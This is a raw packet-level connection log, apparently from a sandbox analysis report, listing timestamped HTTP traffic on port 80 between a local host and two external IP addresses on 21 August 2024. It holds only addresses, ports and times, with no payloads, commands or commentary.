Aug 21, 2024 08:32:14.488792896 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488812923 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488862991 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488862991 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488912106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488984108 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.488989115 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.488997936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489042997 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.489105940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489111900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489141941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489188910 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.489188910 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.489226103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489276886 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.489280939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489289045 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489339113 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.489393950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489401102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489411116 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489455938 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.489509106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489517927 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489527941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489533901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489538908 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489543915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489573956 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.489607096 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.489643097 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.489696980 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493004084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493045092 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493052006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493083954 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493117094 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493138075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493144989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493155003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493160009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493217945 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493289948 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493295908 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493309021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493319988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493330956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493335962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493340969 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493354082 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493354082 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493374109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493380070 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493416071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493422985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493427038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493453026 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493477106 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493490934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493498087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493535995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493541956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493544102 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493556023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493590117 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493618965 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493643045 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493649960 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493659973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493664980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493712902 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493752003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493757963 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493763924 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493769884 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493810892 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493810892 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493845940 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.493865013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493879080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493890047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.493935108 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.494118929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494126081 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494138956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494143963 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494194031 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.494194031 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.494224072 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494235992 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494240999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494246960 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494251966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494257927 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494287968 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.494333029 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.494481087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494487047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494497061 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494502068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494517088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494527102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494533062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494534969 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.494544029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494554996 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.494556904 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494563103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494570017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494575977 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494575977 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.494611025 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.494611025 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.494642019 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.494693995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494700909 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.494748116 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.495122910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.495137930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.495142937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.495187044 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.495223999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.495230913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.495243073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.495248079 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.495281935 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.495305061 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.495305061 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.495312929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.495325089 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.495364904 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.495398998 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.523535967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.523544073 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.523550034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.523629904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.523636103 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.523637056 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.523658991 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.523664951 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.523680925 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.523704052 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.523787975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.523793936 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.523804903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.523808956 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.523854971 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.523854971 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.523919106 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.523988008 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.524508953 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.524514914 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.524521112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.524570942 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.524580002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.524586916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.524645090 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.525024891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.525032043 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.525043011 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.525134087 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.525141001 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.525141954 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.525147915 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.525155067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.525187016 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.525197029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.525206089 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.525253057 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.525793076 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.525842905 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.525851011 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.525895119 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.525895119 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.525943995 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.525952101 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.525957108 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.525962114 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.526000977 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.526017904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.526021957 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.526077986 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.533557892 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533584118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533596992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533711910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533730030 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.533776999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533786058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533791065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533797979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533840895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533850908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533886909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533910990 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.533910990 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.533910990 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.533910990 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.533927917 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.533934116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533938885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533977032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533982992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.533983946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.533993959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534024954 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.534037113 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.534096956 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534101963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534112930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534117937 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534122944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534146070 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.534181118 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.534240961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534248114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534254074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534279108 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.534293890 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.534312010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534317017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534356117 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.534487963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534537077 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.534545898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534562111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534571886 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534604073 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.534629107 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.534682989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534689903 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534699917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534703970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534709930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534739017 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.534766912 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.534810066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534815073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534823895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534830093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534864902 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.534915924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534921885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534931898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534936905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534979105 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.534984112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534987926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.534996033 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.535032034 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.535182953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535222054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.535238981 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535245895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535279989 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.535295010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535301924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535305977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535351038 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.535366058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535373926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535407066 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.535453081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535458088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535468102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535473108 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535499096 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.535510063 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.535877943 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535885096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535895109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535923004 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.535953045 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.535970926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535976887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535986900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.535991907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536020041 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536046982 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536086082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536129951 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536165953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536171913 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536196947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536201954 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536206961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536211967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536217928 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536252022 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536272049 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536278009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536283970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536325932 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536326885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536333084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536343098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536375999 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536441088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536451101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536464930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536472082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536497116 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536497116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536506891 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536530018 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536581039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536592007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536602020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536607027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536612034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536640882 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536664009 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536724091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536730051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536768913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536855936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536863089 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536873102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536878109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536884069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536889076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536896944 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536900043 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.536912918 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.536938906 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.537072897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537080050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537085056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537090063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537095070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.537112951 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.537137985 CEST	49722	80	192.168.2.6	162.241.203.25
